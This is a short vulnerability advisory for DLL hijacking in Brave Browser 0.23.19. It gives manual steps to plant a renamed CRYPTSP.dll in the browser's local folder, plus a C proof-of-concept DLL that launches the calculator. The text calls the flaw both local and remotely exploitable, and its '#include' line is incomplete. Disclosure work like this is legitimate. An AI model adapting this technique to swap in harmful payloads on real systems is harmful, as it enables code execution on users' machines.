Brave Browser 0.23.19 – DLL Injection/Code execution

A local DLL Loading Vulnerability has been discovered in the official Brave Browser v0.23.19 Web Browser. A DLL hacker vulnerability that could allow an unauthenticated remote attacker to manipulate a specific DLL and execute arbitrary code on an affected system without the user’s knowledge.

Product & Service Introduction:
===============================

Brave is a free and open-source pay-to-surf web browser developed by Brave Software Inc. based on the Chromium web browser and its Blink engine.
The browser blocks ads and website trackers.
Currently, the company is developing a feature that allows users to opt in to receiving ads sold by Brave Software in place of the blocked ads

(Copy of the Vendor Homepage: https://brave.com/)

Vulnerable Software:
[+] Brave Browser

Vulnerable Version(s):
[+] v0.23.19

Affected Libraries:
[+] CRYPTSP.dll

Date of Discovery:
==================

2018-07-21

Exploitation Technique:
=======================

Local

Platfom Tested:
===============

Windows 7 & 10

Solution – Fix & Patch:
=======================

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

A Local DLL Loading vulnerability that could allow an unauthenticated remote attacker to manipulate a specific DLL and execute
arbitrary code on an affected system without the user’s knowledge. Example (trojan horse or a ransonmware) For security demonstration or
to reproduce the vulnerability follow the provided information and steps below to continue

Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library to CRYPTSP.dll 
3. Copy CRYPTSP.dll to C:\Users\Amour\AppData\Local\Brave
4. Launch Brave.exe
5. Click Hepl and click Udapte 
6. Now the calculator executes!


-- PoC Exploit --
#include 
#define DLLIMPORT __declspec (dllexport)
 
DLLIMPORT void HrCreateConverter() { evil(); }
 
int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

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